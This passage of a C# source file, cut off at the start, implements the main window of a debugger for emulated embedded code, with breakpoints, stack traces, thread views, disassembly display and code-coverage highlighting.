find '{0}'", arg ); //// return false; //// } //// //// if(m_targetFile != null) //// { //// Console.WriteLine( "ERROR: Only one target file per compilation." ); //// } //// //// m_targetFile = arg; //// //// m_searchOrder.Insert( 0, System.IO.Path.GetDirectoryName( arg ) ); //// } } return true; } return false; } private static bool IsMatch( string arg , string cmd ) { return arg.ToUpper().CompareTo( cmd.ToUpper() ) == 0; } private static bool GetArgument( string arg , string[] args , bool fExpandEnvVar , ref int i , out string value ) { if(i + 1 < args.Length) { i++; value = args[i]; if(fExpandEnvVar) { value = Expand( value ); } return true; } MessageBox.Show( string.Format( "Option '{0}' needs an argument", arg ) ); value = null; return false; } private static string Expand( string str ) { return Environment.ExpandEnvironmentVariables( str ); } } //--// const int c_visualEffect_Depth_CurrentStatement = 1; const int c_visualEffect_Depth_OnTheStackTrace = 2; const int c_visualEffect_Depth_Breakpoint = 3; const int c_visualEffect_Depth_Disassembly = 4; const int c_visualEffect_Depth_Profile = 5; // // State // ApplicationArguments m_arguments; bool m_fFullyInitialized; ProfilerMainForm m_profilerForm; DisplayForm m_displayForm; OutputForm m_outputForm; EnvironmentForm m_environmentForm; SessionManagerForm m_sessionManagerForm; List< Hst.AbstractUIPlugIn > m_plugIns = new List< Hst.AbstractUIPlugIn >(); Hst.Forms.HostingSite.ExecutionState m_currentState; HostingSiteImpl m_hostingSiteImpl; ProcessorHost m_processorHost; int m_versionBreakpoints; ulong m_baseSample_clockTicks; ulong m_baseSample_nanoseconds; ulong m_currentSample_clockTicks; ulong m_currentSample_nanoseconds; ulong m_lastSample_clockTicks; ulong m_lastSample_nanoseconds; ImageInformation m_imageInformation; int m_versionStackTrace; List< ThreadStatus > m_threads; ThreadStatus m_activeThread; ThreadStatus m_selectedThread; Thread m_processorWorker; AutoResetEvent m_processorWorkerSignal; Queue< WorkerWorkItem > m_processorWorkerRequests; bool m_processorWorkerExit; DebugGarbageColllection m_debugGC; //--// List< VisualTreeInfo > m_visualTreesList; List< ViewEntry > m_viewEntriesList; //--// Session m_currentSession; Cfg.Manager m_configurationManager; Brush m_brush_CurrentPC = new SolidBrush( Color.FromArgb( 255, 238, 98 ) ); Brush m_brush_PastPC = new SolidBrush( Color.FromArgb( 180, 228, 180 ) ); Brush m_brush_Breakpoint = new SolidBrush( Color.FromArgb( 150, 58, 70 ) ); Pen m_pen_Breakpoint = new Pen ( Color.FromArgb( 150, 58, 70 ) ); Icon m_icon_Breakpoint = Properties.Resources.Breakpoint; Icon m_icon_BreakpointDisabled = Properties.Resources.BreakpointDisabled; Icon m_icon_CurrentStatement = Properties.Resources.CurrentStatement; Icon m_icon_StackFrame = Properties.Resources.StackFrame; //--// public bool DebugGC = false; public bool DebugGCVerbose = false; //--// // // Constructor Methods // public DebuggerMainForm( string[] args ) { InitializeComponent(); //--// m_arguments = new ApplicationArguments( args ); m_configurationManager = new Cfg.Manager(); m_configurationManager.AddAllAssemblies(); m_configurationManager.ComputeAllPossibleValuesForFields(); //--// m_currentState = Hst.Forms.HostingSite.ExecutionState.Invalid; m_threads = new List< ThreadStatus >(); m_processorWorker = new Thread( ProcessorWorker ); m_processorWorkerSignal = new AutoResetEvent( false ); m_processorWorkerRequests = new Queue< WorkerWorkItem >(); m_visualTreesList = new List< VisualTreeInfo >(); m_viewEntriesList = new List< ViewEntry >(); //--// m_hostingSiteImpl = new HostingSiteImpl( this ); m_processorHost = new ProcessorHost ( this ); m_profilerForm = new ProfilerMainForm ( m_hostingSiteImpl ); m_displayForm = new DisplayForm ( m_hostingSiteImpl ); m_outputForm = new OutputForm ( m_hostingSiteImpl ); m_environmentForm = new EnvironmentForm ( this ); m_sessionManagerForm = new SessionManagerForm( this ); //--// codeView1.DefaultHitSink = codeView1_HitSink; localsView1 .Link( this ); stackTraceView1 .Link( this ); threadsView1 .Link( this ); registersView1 .Link( this ); breakpointsView1.Link( this ); memoryView1 .Link( this ); } // // Helper Methods // private void FullyInitialized() { if(m_arguments.Parse() == false) { Application.Exit(); } string name = m_arguments.m_sessionName; if(name != null) { m_currentSession = m_sessionManagerForm.FindSession( name ); if(m_currentSession == null) { MessageBox.Show( string.Format( "Cannot find session '{0}'", name ) ); Application.Exit(); } } string file = m_arguments.m_sessionFile; if(file != null) { m_currentSession = m_sessionManagerForm.LoadSession( file, true ); if(m_currentSession == null) { MessageBox.Show( string.Format( "Cannot load session file '{0}'", file ) ); Application.Exit(); } } if(m_currentSession != null) { m_sessionManagerForm.SelectSession( m_currentSession ); if(m_arguments.m_imageFile != null) { m_currentSession.ImageToLoad = m_arguments.m_imageFile; } } foreach(Type t in m_arguments.m_handlers) { if(t.IsSubclassOf( typeof(Hst.AbstractUIPlugIn) )) { Hst.AbstractUIPlugIn plugIn = (Hst.AbstractUIPlugIn)Activator.CreateInstance( t, m_hostingSiteImpl ); m_plugIns.Add( plugIn ); plugIn.Start(); } } if(m_currentSession == null) { m_currentSession = m_sessionManagerForm.SelectSession( true ); } if(m_arguments.m_breakpoints.Count > 0) { m_hostingSiteImpl.NotifyOnExecutionStateChange += delegate( Hst.Forms.HostingSite host, Hst.Forms.HostingSite.ExecutionState oldState, Hst.Forms.HostingSite.ExecutionState newState ) { if(newState != Hst.Forms.HostingSite.ExecutionState.Loaded) { return Hst.Forms.HostingSite.NotificationResponse.DoNothing; } tabControl_Data.SelectedTab = tabPage_Breakpoints; foreach(string breakpoint in m_arguments.m_breakpoints) { breakpointsView1.Set( breakpoint ); } return Hst.Forms.HostingSite.NotificationResponse.RemoveFromNotificationList; }; } m_hostingSiteImpl.NotifyOnExecutionStateChange += delegate( Hst.Forms.HostingSite host, Hst.Forms.HostingSite.ExecutionState oldState, Hst.Forms.HostingSite.ExecutionState newState ) { if(newState == Hst.Forms.HostingSite.ExecutionState.Loaded) { Action_ResetAbsoluteTime(); } if(newState == Hst.Forms.HostingSite.ExecutionState.Paused) { if(m_processorHost.GetAbsoluteTime( out m_currentSample_clockTicks, out m_currentSample_nanoseconds )) { DisplayExecutionTime(); } else { toolStripStatus_AbsoluteTime.Text = ""; } } else { m_lastSample_clockTicks = m_currentSample_clockTicks; m_lastSample_nanoseconds = m_currentSample_nanoseconds; toolStripStatus_AbsoluteTime.Text = ""; } return Hst.Forms.HostingSite.NotificationResponse.DoNothing; }; m_hostingSiteImpl.NotifyOnVisualizationEvent += delegate( Hst.Forms.HostingSite host, Hst.Forms.HostingSite.VisualizationEvent e ) { switch(e) { case Hst.Forms.HostingSite.VisualizationEvent.NewStackFrame: UpdateCurrentMethod(); break; } return Hst.Forms.HostingSite.NotificationResponse.DoNothing; }; InnerAction_LoadImage(); } private void UpdateCurrentMethod() { string txt = "<no current method>"; while(true) { var th = m_selectedThread ; if(th == null) break; var stackFrame = m_selectedThread.StackFrame; if(stackFrame == null) break; var cm = stackFrame.CodeMapOfTarget ; if(cm == null) break; var md = cm.Target ; if(md == null) break; txt = string.Format( "{0}", md.ToShortString() ); break; } toolStripStatus_CurrentMethod.Text = txt; } //--// public static void SetPanelHeight( Panel panel , int height ) { Size size = panel.Size; if(size.Height != height) { size.Height = height; panel.Size = size; } } internal void ReportFormStatus( Form form , bool fOpened ) { foreach(var item in m_viewEntriesList) { if(item.Form == form) { item.MenuItem.Checked = fOpened; } } } private void RegisterView( Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { if(ViewEntry.Find( m_viewEntriesList, form, mode ) == null) { var item = new ViewEntry( form, mode ); m_viewEntriesList.Add( item ); switch(mode) { case Hst.Forms.HostingSite.PublicationMode.Window: { var items = this.toolStripMenuItem_Windows.DropDownItems; var index = items.IndexOf( this.toolStripSeparator_Files ); items.Insert( index, item.MenuItem ); } break; case Hst.Forms.HostingSite.PublicationMode.View: { var items = this.toolStripMenuItem_View.DropDownItems; items.Add( item.MenuItem ); } break; case Hst.Forms.HostingSite.PublicationMode.Tools: { var items = this.toolStripMenuItem_Tools.DropDownItems; var indexTop = items.IndexOf( this.toolStripSeparator_Tools_Top ); var indexBottom = items.IndexOf( this.toolStripSeparator_Tools_Bottom ); items.Insert( indexBottom, item.MenuItem ); this.toolStripSeparator_Tools_Bottom.Visible = true; } break; } } } private void UnregisterView( Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { var item = ViewEntry.Find( m_viewEntriesList, form, mode ); if(item != null) { m_viewEntriesList.Remove( item ); var menu = item.MenuItem; var menuOwner = (ToolStripMenuItem)menu.OwnerItem; menuOwner.DropDownItems.Remove( menu ); switch(mode) { case Hst.Forms.HostingSite.PublicationMode.Window: { var items = this.toolStripMenuItem_Windows.DropDownItems; var index = items.IndexOf( this.toolStripSeparator_Files ); if(index == 0) { this.toolStripSeparator_Files.Visible = false; } } break; case Hst.Forms.HostingSite.PublicationMode.View: { } break; case Hst.Forms.HostingSite.PublicationMode.Tools: { var items = this.toolStripMenuItem_Tools.DropDownItems; var indexTop = items.IndexOf( this.toolStripSeparator_Tools_Top ); var indexBottom = items.IndexOf( this.toolStripSeparator_Tools_Bottom ); if(indexTop + 1 == indexBottom) { this.toolStripSeparator_Tools_Bottom.Visible = false; } } break; } } } //--// private void SetWaitCursor( Hst.Forms.HostingSite.ExecutionState state ) { switch(state) { case Hst.Forms.HostingSite.ExecutionState.Idle : case Hst.Forms.HostingSite.ExecutionState.Loaded : case Hst.Forms.HostingSite.ExecutionState.Running: case Hst.Forms.HostingSite.ExecutionState.Paused : this.UseWaitCursor = false; break; default: this.UseWaitCursor = false; break; } } private void UpdateExecutionState( Hst.Forms.HostingSite.ExecutionState state ) { toolStripButton_Start .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Loaded || state == Hst.Forms.HostingSite.ExecutionState.Paused ; toolStripButton_BreakAll .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Running; toolStripButton_StopDebugging .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Paused || state == Hst.Forms.HostingSite.ExecutionState.Running; toolStripButton_ShowNextStatement.Enabled = state == Hst.Forms.HostingSite.ExecutionState.Paused ; toolStripButton_Restart .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Paused ; toolStripButton_StepInto .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Loaded || state == Hst.Forms.HostingSite.ExecutionState.Paused ; toolStripButton_StepOver .Enabled = state == Hst.Forms.HostingSite.ExecutionState.Paused ; toolStripButton_StepOut .Enabled = m_activeThread != null && m_activeThread.StackTrace.Count > 1; toolStripStatus_ExecutionState.Text = state.ToString(); SetWaitCursor( state ); var oldState = m_currentState; m_currentState = state; m_hostingSiteImpl.RaiseNotification( oldState, state ); } private void DisplayExecutionTime() { ulong diff_clockTicks = m_currentSample_clockTicks - m_lastSample_clockTicks; ulong diff_nanoseconds = m_currentSample_nanoseconds - m_lastSample_nanoseconds; ulong base_clockTicks = m_currentSample_clockTicks - m_baseSample_clockTicks; ulong base_nanoseconds = m_currentSample_nanoseconds - m_baseSample_nanoseconds; // // \u0393 = Greek Delta // \u00b5 = Greek micro // toolStripStatus_AbsoluteTime.Text = string.Format( "Clks={0} (\u0394={2}) \u00B5Sec={1} (\u0394={3})", base_clockTicks, (double)base_nanoseconds / 1000.0, diff_clockTicks, (double)diff_nanoseconds / 1000.0 ); } private void EnteringState_Running() { m_threads.Clear(); m_activeThread = null; m_selectedThread = null; ResetVisualEffects(); SwitchToFile( null, null ); } private void ExitingState_Running( Debugging.DebugInfo diTarget ) { if(m_imageInformation != null) { m_activeThread = ThreadStatus.Analyze( m_threads, m_processorHost.MemoryDelta, m_processorHost.Breakpoints ); m_selectedThread = m_activeThread; if(diTarget != null) { m_activeThread.TopStackFrame.MoveForwardToDebugInfo( diTarget ); } UpdateDisplay( true ); } } private void ProcessCodeCoverage() { Emulation.Hosting.CodeCoverage svc; if(m_processorHost.GetHostingService( out svc )) { if(svc.Enable) { m_imageInformation.CollectCodeCoverage( m_processorHost ); foreach(VisualTreeInfo vti in m_visualTreesList) { List < ImageInformation.RangeToSourceCode > lst; GrowOnlyHashTable< Debugging.DebugInfo, ulong > ht = HashTableFactory.New< Debugging.DebugInfo, ulong >(); if(m_imageInformation.FileToCodeLookup.TryGetValue( vti.Input.File.ToUpper(), out lst )) { foreach(ImageInformation.RangeToSourceCode rng in lst) { ImageInformation.RangeToSourceCode.CodeCoverage profile = rng.Profile; if(profile != null) { foreach(var pair in rng.DebugInfos) { ulong count; ht.TryGetValue( pair.Info, out count ); count += profile.Cycles; ht[pair.Info] = count; } } } } ulong max = 0; foreach(Debugging.DebugInfo di in ht.Keys) { max = Math.Max( ht[di], max ); } if(max != 0) { double scale = 1.0 / max; foreach(Debugging.DebugInfo di in ht.Keys) { double ratio = ht[di] * scale; Brush brush = new SolidBrush( Color.FromArgb( (int)(255 * ratio), 255, 0, 0 ) ); vti.HighlightSourceCode( codeView1, uint.MaxValue, di, null, null, brush, c_visualEffect_Depth_Profile ); } } } } } } //--// public bool LocateVisualTreeForDebugInfo( Debugging.DebugInfo di , out VisualTreeInfo vti , out VisualItem bringIntoView ) { vti = null; bringIntoView = null; if(di != null) { string file = di.SrcFileName; vti = codeView1.CreateVisualTree( m_imageInformation, file, file ); if(vti != null) { for(int lineNum = di.BeginLineNumber; lineNum <= di.EndLineNumber; lineNum++) { bringIntoView = vti.FindLine( lineNum ); if(bringIntoView != null) { break; } } return true; } } return false; } public void VisualizeFile( string file ) { VisualTreeInfo vti = codeView1.CreateVisualTree( m_imageInformation, file, file ); if(vti != null) { SwitchToFile( vti, null ); } } public void VisualizeDebugInfo( Debugging.DebugInfo di ) { VisualTreeInfo vti; VisualItem bringIntoView; if(LocateVisualTreeForDebugInfo( di, out vti, out bringIntoView )) { SwitchToFile( vti, bringIntoView ); this.BringToFront(); } } public void VisualizeStackFrame( StackFrame sf ) { VisualTreeInfo vti; VisualItem bringIntoView; m_selectedThread = sf.Thread; m_selectedThread.StackFrame = sf; LocateVisualTreeForDebugInfo( sf.DebugInfo, out vti, out bringIntoView ); PrepareDisplay( vti, sf, bringIntoView ); NotifyNewStackFrame(); } private void SwitchToFile( VisualTreeInfo vti , VisualItem bringIntoView ) { if(vti != null) { m_visualTreesList.Remove( vti ); m_visualTreesList.Insert( 0, vti ); UpdateCheckedStatusForFiles( vti ); codeView1.InstallVisualTree( vti, bringIntoView ); } else { codeView1.RefreshVisualTree(); } } private void UpdateCheckedStatusForFiles( VisualTreeInfo vti ) { ToolStripItemCollection coll = toolStripMenuItem_Windows.DropDownItems; // // Remove previous files. // int index = coll.IndexOf( this.toolStripSeparator_Files ); while(index + 1 < coll.Count) { coll.RemoveAt( index + 1 ); } // // Have separator only if there are open files. // this.toolStripSeparator_Files.Visible = index > 0 && (m_visualTreesList.Count != 0); for(int pos = 0; pos < m_visualTreesList.Count; pos++) { VisualTreeInfo vti2 = m_visualTreesList[pos]; ToolStripMenuItem newItem = new ToolStripMenuItem(); int fileIdx = pos + 1; IR.SourceCodeTracker.SourceCode srcFile = vti2.Input; newItem.Text = string.Format( fileIdx < 10 ? "&{0} {1}{2}" : "{0} {1}{2}", fileIdx, vti2.DisplayName, (srcFile != null && srcFile.UsingCachedValues) ? " <cached>" : "" ); newItem.Tag = vti2; newItem.Checked = (vti2 == vti); newItem.Click += new System.EventHandler( delegate( object sender, EventArgs e ) { SwitchToFile( vti2, null ); } ); coll.Add( newItem ); } } //--// private void UpdateDisplay( bool fProcessCodeCoverage ) { ResetVisualEffects(); if(fProcessCodeCoverage) { ProcessCodeCoverage(); } VisualTreeInfo switchToVti; VisualItem bringIntoView; CreateVisualEffects( out switchToVti, out bringIntoView ); PrepareDisplay( switchToVti, m_selectedThread.StackFrame, bringIntoView ); SynchronizeBreakpointsUI(); NotifyNewStackFrame(); } private void ResetVisualEffects() { foreach(VisualTreeInfo vti in codeView1.VisualTrees.Values) { vti.EnumerateVisualEffects( delegate( VisualEffect ve ) { if(ve is VisualEffect.InlineDisassembly) { return VisualTreeInfo.CallbackResult.Delete; } if(ve is VisualEffect.SourceCodeHighlight) { if(ve.Context == null) { return VisualTreeInfo.CallbackResult.Delete; } } return VisualTreeInfo.CallbackResult.Keep; } ); } } private void CreateVisualEffects( out VisualTreeInfo switchToVti , out VisualItem bringIntoView ) { GrowOnlySet< Debugging.DebugInfo > visited = SetFactory.NewWithReferenceEquality< Debugging.DebugInfo >(); switchToVti = null; bringIntoView = null; m_versionStackTrace++; foreach(StackFrame sf in m_selectedThread.StackTrace) { Debugging.DebugInfo di = sf.DebugInfo; if(di != null) { string file = di.SrcFileName; VisualTreeInfo vti = codeView1.CreateVisualTree( m_imageInformation, file, file ); if(vti != null) { VisualEffect.SourceCodeHighlight ve; if(sf.Depth == 0) { ve = vti.HighlightSourceCode( codeView1, sf.ProgramCounter, di, m_icon_CurrentStatement, null, m_brush_CurrentPC, c_visualEffect_Depth_CurrentStatement ); } else { if(visited.Contains( di ) == false) { ve = vti.HighlightSourceCode( codeView1, sf.ProgramCounter, di, m_icon_StackFrame, null, m_brush_PastPC, c_visualEffect_Depth_OnTheStackTrace ); } else { ve = null; } } if(ve != null && sf == m_selectedThread.StackFrame) { switchToVti = vti; bringIntoView = ve.TopSelectedLine; } } visited.Insert( di ); } } } private void PrepareDisplay( VisualTreeInfo vti , StackFrame sf , VisualItem bringIntoView ) { if(vti == null) { vti = codeView1.CreateEmptyVisualTree( "<disassembly>" ); } vti.ClearVisualEffects( typeof(VisualEffect.InlineDisassembly) ); if(m_currentSession.DisplayDisassembly || sf == null) { InstallDisassemblyBlock( vti, sf ); } SwitchToFile( vti, bringIntoView ); } private void InstallDisassemblyBlock( VisualTreeInfo vti , StackFrame sf ) { List< ImageInformation.DisassemblyLine > disasm; ContainerVisualItem line = null; uint pastOpcodesToDisassembly = m_currentSession.PastOpcodesToDisassembly; uint futureOpcodesToDisassembly = m_currentSession.FutureOpcodesToDisassembly; if(sf != null && sf.Region != null && sf.DebugInfo != null) { disasm = sf.DisassembleBlock( m_processorHost.MemoryDelta, pastOpcodesToDisassembly, futureOpcodesToDisassembly ); line = vti.FindLine( sf.DebugInfo.EndLineNumber ); } else { ContainerVisualItem topElement = vti.VisualTreeRoot; GraphicsContext ctx = codeView1.CtxForLayout; topElement.Clear(); line = new ContainerVisualItem( null ); topElement.Add( line ); TextVisualItem item = new TextVisualItem( null, "<No Source Code Available>" ); item.PrepareText( ctx ); line.Add( item ); //--// disasm = new List< ImageInformation.DisassemblyLine >(); Emulation.Hosting.ProcessorStatus svc; m_processorHost.GetHostingService( out svc ); uint address = svc.ProgramCounter; uint addressStart = address - 3 * pastOpcodesToDisassembly * sizeof(uint); uint addressEnd = address + 3 * futureOpcodesToDisassembly * sizeof(uint); m_imageInformation.DisassembleBlock( m_processorHost.MemoryDelta, disasm, addressStart, address, addressEnd ); } if(disasm.Count > 0) { vti.InstallDisassemblyBlock( line, codeView1, disasm.ToArray(), c_visualEffect_Depth_Disassembly ); SynchronizeBreakpointsUI(); } } //--// public static void GrayOutRowInDataGridView( DataGridViewRow row ) { foreach(DataGridViewCell cell in row.Cells) { cell.Style.SelectionBackColor = SystemColors.Window; cell.Style.SelectionForeColor = SystemColors.GrayText; cell.Style.ForeColor = SystemColors.GrayText; } } public static void GrayOutRowsInDataGridView( DataGridViewRowCollection rows ) { foreach(DataGridViewRow row in rows) { GrayOutRowInDataGridView( row ); } } //--// void ProcessKeyDownEvent( KeyEventArgs e ) { if(e.Handled == false) { bool fGot = false; switch(e.KeyCode) { case Keys.Up: switch(e.Modifiers) { case Keys.Control: Action_MoveInTheStackTrace( -1 ); fGot = true; break; } break; case Keys.Down: switch(e.Modifiers) { case Keys.Control: Action_MoveInTheStackTrace( 1 ); fGot = true; break; } break; case Keys.Left: switch(e.Modifiers) { case Keys.Control: Action_MoveInTheThreadList( -1 ); fGot = true; break; } break; case Keys.Right: switch(e.Modifiers) { case Keys.Control: Action_MoveInTheThreadList( 1 ); fGot = true; break; } break; case Keys.F5: switch(e.Modifiers) { case Keys.Control | Keys.Shift: Action_Restart(); fGot = true; break; case Keys.Shift: Action_StopDebugging(); fGot = true; break; case Keys.None: Action_Start(); fGot = true; break; } break; case Keys.Cancel: switch(e.Modifiers) { case Keys.Control | Keys.Alt: Action_BreakAll(); fGot = true; break; } break; case Keys.F10: switch(e.Modifiers) { case Keys.None: Action_StepOver(); fGot = true; break; } break; case Keys.F11: switch(e.Modifiers) { case Keys.None: Action_StepInto(); fGot = true; break; case Keys.Control: Action_ToggleDisassembly(); fGot = true; break; case Keys.Shift: Action_StepOut(); fGot = true; break; } break; } if(fGot) { e.Handled = true; e.SuppressKeyPress = true; } } } void ProcessKeyUpEvent( KeyEventArgs e ) { } //--// private void NotifyNewStackFrame() { ExecuteInFormThread( delegate() { m_hostingSiteImpl.RaiseNotification( Hst.Forms.HostingSite.VisualizationEvent.NewStackFrame ); } ); } private void SynchronizeBreakpointsUI() { ExecuteInFormThread( delegate() { foreach(VisualTreeInfo vti in codeView1.VisualTrees.Values) { vti.EnumerateVisualEffects( delegate( VisualEffect ve ) { if(ve is VisualEffect.SourceCodeHighlight) { if(ve.Context is Emulation.Hosting.Breakpoint) { return VisualTreeInfo.CallbackResult.Delete; } } return VisualTreeInfo.CallbackResult.Keep; } ); } foreach(Emulation.Hosting.Breakpoint bp in m_processorHost.Breakpoints) { if(bp.ShowInUI) { IR.ImageBuilders.SequentialRegion reg; uint offset; Debugging.DebugInfo di; if(m_imageInformation.LocateFirstSourceCode( bp.Address, out reg, out offset, out di )) { if(bp.DebugInfo != null) { di = bp.DebugInfo; } if(di != null) { string file = di.SrcFileName; VisualTreeInfo vti = codeView1.GetVisualTree( file ); if(vti != null) { VisualEffect.SourceCodeHighlight ve; if(bp.IsActive) { ve = vti.HighlightSourceCode( codeView1, uint.MaxValue, di, m_icon_Breakpoint, null, m_brush_Breakpoint, c_visualEffect_Depth_Breakpoint ); } else { ve = vti.HighlightSourceCode( codeView1, uint.MaxValue, di, m_icon_BreakpointDisabled, m_pen_Breakpoint, null, c_visualEffect_Depth_Breakpoint ); } ve.Context = bp; ve.Version = bp.Version; } } } foreach(VisualTreeInfo vti in codeView1.VisualTrees.Values) { VisualEffect.SourceCodeHighlight ve; if(bp.IsActive) { ve = vti.HighlightSourceCode( codeView1, bp.Address, null, m_icon_Breakpoint, null, m_brush_Breakpoint, c_visualEffect_Depth_Breakpoint ); } else { ve = vti.HighlightSourceCode( codeView1, bp.Address, null, m_icon_BreakpointDisabled, m_pen_Breakpoint, null, c_visualEffect_Depth_Breakpoint ); } ve.Context = bp; ve.Version = bp.Version; } } } codeView1.RefreshVisualTree(); m_hostingSiteImpl.RaiseNotification( Hst.Forms.HostingSite.VisualizationEvent.BreakpointsChange ); } ); } // // Access Methods // public Hst.Forms.HostingSite HostingSite { get { return m_hostingSiteImpl; } } public Hst.AbstractHost Host { get { return m_processorHost; } } public MemoryDelta MemoryDelta { get { return m_processorHost.MemoryDelta; } } public ImageInformation ImageInformation { get { return m_imageInformation; } } public int VersionBreakpoints { get { return m_versionBreakpoints; } } //--// public Hst.Forms.HostingSite.ExecutionState CurrentState { get { return m_currentState; } } public Session CurrentSession { get { return m_currentSession; } set { m_currentSession = value; InnerAction_LoadImage(); } } //--// public List< ThreadStatus > Threads { get { return m_threads; } } public ThreadStatus ActiveThread { get { return m_activeThread; } } public ThreadStatus SelectedThread { get { return m_selectedThread; } } public StackFrame SelectedStackFrame { get { if(m_selectedThread != null) { return m_selectedThread.StackFrame; } return null; } } public int VersionStackTrace { get { return m_versionStackTrace; } } //--// public Configuration.Environment.Manager ConfigurationManager { get { return m_configurationManager; } } //--// public bool IsIdle { get { switch(m_currentState) { case Hst.Forms.HostingSite.ExecutionState.Idle: case Hst.Forms.HostingSite.ExecutionState.Loaded: case Hst.Forms.HostingSite.ExecutionState.Paused: return true; } return false; } } // // Event Methods // private void codeView1_HitSink( CodeView owner , VisualItem origin , PointF relPos , MouseEventArgs e , bool fDown , bool fUp ) { VisualTreeInfo vti = codeView1.ActiveVisualTree; if(vti != null) { if(fDown && e.Clicks >= 2) { Debugging.DebugInfo diTarget = origin.Context as Debugging.DebugInfo; if(diTarget != null) { List< ImageInformation.RangeToSourceCode > lst; Debugging.DebugInfo diTargetLine; Debugging.DebugInfo diClosest = null; bool fClosestIntersects = false; string fileName = vti.Input.File; diTargetLine = Debugging.DebugInfo.CreateMarkerForLine( diTarget.SrcFileName, diTarget.MethodName, diTarget.BeginLineNumber ); if(m_imageInformation.FileToCodeLookup.TryGetValue( fileName.ToUpper(), out lst )) { foreach(ImageInformation.RangeToSourceCode rng in lst) { foreach(var pair in rng.DebugInfos) { Debugging.DebugInfo di = pair.Info; if(di.SrcFileName == fileName) { Debugging.DebugInfo diLine = diTargetLine.ComputeIntersection( di ); if(diLine != null) { Debugging.DebugInfo diIntersection = diTarget.ComputeIntersection( di ); if(diIntersection != null) { if(diClosest == null || di.IsContainedIn( diClosest ) || fClosestIntersects == false) { diClosest = di; fClosestIntersects = true; } } else { if(diClosest == null) { diClosest = di; } else if(fClosestIntersects == false) { int diff1 = Math.Abs( di .BeginColumn - diTarget.BeginColumn ); int diff2 = Math.Abs( diClosest.BeginColumn - diTarget.BeginColumn ); if(diff1 < diff2) { diClosest = di; } } } } } } } } if(diClosest != null) { // // Remove all the existing break points having the same DebugInfo. // bool fAdd = true; foreach(Emulation.Hosting.Breakpoint bp in m_processorHost.Breakpoints) { IR.ImageBuilders.SequentialRegion reg; uint offset; Debugging.DebugInfo di; bool fDelete = false; if(bp.DebugInfo == diClosest) { fDelete = true; } else { if(m_imageInformation.LocateFirstSourceCode( bp.Address, out reg, out offset, out di )) { if(di == diClosest) { fDelete = true; } } } if(fDelete) { Action_RemoveBreakpoint( bp ); fAdd = false; } } if(fAdd && m_imageInformation.SourceCodeToCodeLookup.TryGetValue( diClosest, out lst )) { foreach(ImageInformation.RangeToSourceCode rng in lst) { Action_SetBreakpoint( rng.BaseAddress, diClosest, true, false, null ); break; } } } } var disasm = origin.Context as ImageInformation.DisassemblyLine; if(disasm != null) { IR.ImageBuilders.SequentialRegion reg; uint offset; Debugging.DebugInfo di; if(m_imageInformation.LocateFirstSourceCode( disasm.Address, out reg, out offset, out di )) { // // Remove all the existing break points having the same DebugInfo. // bool fAdd = true; foreach(Emulation.Hosting.Breakpoint bp in m_processorHost.Breakpoints) { if(disasm.Address == bp.Address) { Action_RemoveBreakpoint( bp ); fAdd = false; } } if(fAdd) { Action_SetBreakpoint( disasm.Address, di, true, false, null ); } } } } } } private void DebuggerMainForm_Load( object sender, EventArgs e ) { m_processorWorker.Start(); } private void DebuggerMainForm_KeyDown( object sender , KeyEventArgs e ) { ProcessKeyDownEvent( e ); } private void DebuggerMainForm_FormClosing( object sender , FormClosingEventArgs e ) { foreach(Hst.AbstractUIPlugIn plugIn in m_plugIns) { plugIn.Stop(); } ExecuteInWorkerThread( Hst.Forms.HostingSite.ExecutionState.Invalid, delegate() { m_processorWorkerExit = true; } ); InnerAction_StopExecution(); m_processorWorker.Join(); m_sessionManagerForm.SaveSessions(); } //--// private void toolStripMenuItem_File_Open_Click( object sender , EventArgs e ) { Action_LoadImage(); } private void toolStripMenuItem_File_Session_Load_Click( object sender , EventArgs e ) { Action_LoadSession(); } private void toolStripMenuItem_File_Session_Edit_Click( object sender , EventArgs e ) { Action_EditConfiguration(); } private void toolStripMenuItem_File_Session_Save_Click( object sender , EventArgs e ) { if(m_currentSession.SettingsFile != null) { Action_SaveSession( m_currentSession.SettingsFile ); } } private void toolStripMenuItem_File_Session_SaveAs_Click( object sender , EventArgs e ) { Action_SaveSession(); } private void toolStripMenuItem_File_Exit_Click( object sender , EventArgs e ) { this.Close(); } //--// private void toolStripMenuItem_Tools_SessionManager_Click( object sender , EventArgs e ) { Session session = m_sessionManagerForm.SelectSession( false ); if(session != null && session != m_currentSession) { m_currentSession = session; if(InnerAction_LoadImage() == false) { m_imageInformation = null; } } } //--// private void toolStripButton_Start_Click( object sender , EventArgs e ) { Action_Start(); } private void toolStripButton_BreakAll_Click( object sender , EventArgs e ) { Action_BreakAll(); } private void toolStripButton_StopDebugging_Click( object sender , EventArgs e ) { Action_StopDebugging(); } private void toolStripButton_Restart_Click( object sender , EventArgs e ) { Action_Restart(); } private void toolStripButton_ShowNextStatement_Click( object sender , EventArgs e ) { if(m_activeThread != null) { m_selectedThread = m_activeThread; m_activeThread.StackFrame = m_activeThread.TopStackFrame; Action_SelectThread( this.Threads.IndexOf( m_activeThread ) ); } } private void toolStripButton_StepInto_Click( object sender , EventArgs e ) { Action_StepInto(); } private void toolStripButton_StepOver_Click( object sender, EventArgs e ) { Action_StepOver(); } private void toolStripButton_StepOut_Click( object sender, EventArgs e ) { Action_StepOut(); } private void toolStripButton_ToggleDisassembly_Click( object sender, EventArgs e ) { Action_ToggleDisassembly(); } private void toolStripButton_ToggleWrapper_Click( object sender, EventArgs e ) { Action_ToggleWrapper(); } //--// private void statusTrip1_DoubleClick( object sender, EventArgs e ) { if(this.IsIdle) { Action_ResetAbsoluteTime(); DisplayExecutionTime(); } } } }
